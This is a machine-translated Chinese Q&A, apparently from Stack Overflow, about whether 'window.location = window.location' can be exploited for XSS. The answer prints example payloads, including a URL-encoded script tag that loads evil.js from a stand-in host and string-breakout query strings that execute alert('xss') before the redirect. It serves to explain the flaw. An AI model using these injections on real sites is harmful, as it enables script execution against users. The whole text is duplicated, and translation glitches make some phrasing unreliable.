window.location = window.location 是否易受 XSS 攻击
Is window.location = window.location susceptible to XSS
此问题与代码 window.location = window.location
有关,作为一种刷新页面的方法,与重定向/其他变量无关。
我的理解如下:
window.location = window.location
导致页面刷新,因为浏览器将导航到用户已经所在的相同位置。
通过 DOM 操作对该变量的任何更改都会导致页面 reload/load 攻击者页面,因此这些行将无法使用更改后的值执行,因此不是候选者用于跨站点脚本攻击。
这是正确的吗?
编辑: 我真正想问的是,是否有一种方法可以在不导致页面重新加载的情况下更改 window.location
,这样当 window.location = window.location
调用后,浏览器将被发送到另一个位置。
该问题与 window.location
无关,而与您如何处理在新上下文中使用的任意数据有关。
如果您从 URL 获取输入并使用它来构建一个新的 URL 以重定向到,那么您就会面临问题。采用经典的重定向页面...
http://example.com/redirect?url=http%3A%2F%2Fsomethingevil
如果页面上有 JavaScript 然后将 window.location
设置为查询字符串参数 url
的值,则页面将转到 http://somethingevil
。
XSS 的主要实现方式是允许查询字符串参数将数据注入页面本身。例如,您可能有一个页面显示 "Hello Brad",其中 "Brad" 来自名为 name
的 URL 参数。现在,假设攻击者将 URL 设置为 name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E
。如果我只是将 name
的值直接注入页面,那么我的脚本 evil.js
将在该页面上 运行。相反,如果我正确转义数据,那么它可以在页面中使用,因为它将被解释为文本。
因此,如果我正确理解您的问题,那么 none 这些答案是正确的。可以利用 window.location
来执行 xss。您遇到的障碍似乎 运行 是因为在 window.location
行执行后页面将刷新并跳过 yourpayload 的执行。我假设您能够以某种方式将内容引入 window.location 右侧的字符串,并且输入没有被正确编码为 JavaScript 字符串。
例如,如果 http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+'
导致代码如下:
<script>
window.location='derp';alert('xss');var a = '';
</script>
您可以只利用字符串连接将对 window.location 的分配推迟到您的有效负载执行之后。所以像:
http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'
将导致以下代码执行您的负载。
<script>
window.location='derp' + alert('xss') + '';
</script>
虽然这确实应该在安全 StackExchange 中。
此问题与代码 window.location = window.location
有关,作为一种刷新页面的方法,与重定向/其他变量无关。
我的理解如下:
window.location = window.location
导致页面刷新,因为浏览器将导航到用户已经所在的相同位置。
通过 DOM 操作对该变量的任何更改都会导致页面 reload/load 攻击者页面,因此这些行将无法使用更改后的值执行,因此不是候选者用于跨站点脚本攻击。
这是正确的吗?
编辑: 我真正想问的是,是否有一种方法可以在不导致页面重新加载的情况下更改 window.location
,这样当 window.location = window.location
调用后,浏览器将被发送到另一个位置。
该问题与 window.location
无关,而与您如何处理在新上下文中使用的任意数据有关。
如果您从 URL 获取输入并使用它来构建一个新的 URL 以重定向到,那么您就会面临问题。采用经典的重定向页面...
http://example.com/redirect?url=http%3A%2F%2Fsomethingevil
如果页面上有 JavaScript 然后将 window.location
设置为查询字符串参数 url
的值,则页面将转到 http://somethingevil
。
XSS 的主要实现方式是允许查询字符串参数将数据注入页面本身。例如,您可能有一个页面显示 "Hello Brad",其中 "Brad" 来自名为 name
的 URL 参数。现在,假设攻击者将 URL 设置为 name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E
。如果我只是将 name
的值直接注入页面,那么我的脚本 evil.js
将在该页面上 运行。相反,如果我正确转义数据,那么它可以在页面中使用,因为它将被解释为文本。
因此,如果我正确理解您的问题,那么 none 这些答案是正确的。可以利用 window.location
来执行 xss。您遇到的障碍似乎 运行 是因为在 window.location
行执行后页面将刷新并跳过 yourpayload 的执行。我假设您能够以某种方式将内容引入 window.location 右侧的字符串,并且输入没有被正确编码为 JavaScript 字符串。
例如,如果 http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+'
导致代码如下:
<script>
window.location='derp';alert('xss');var a = '';
</script>
您可以只利用字符串连接将对 window.location 的分配推迟到您的有效负载执行之后。所以像:
http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'
将导致以下代码执行您的负载。
<script>
window.location='derp' + alert('xss') + '';
</script>
虽然这确实应该在安全 StackExchange 中。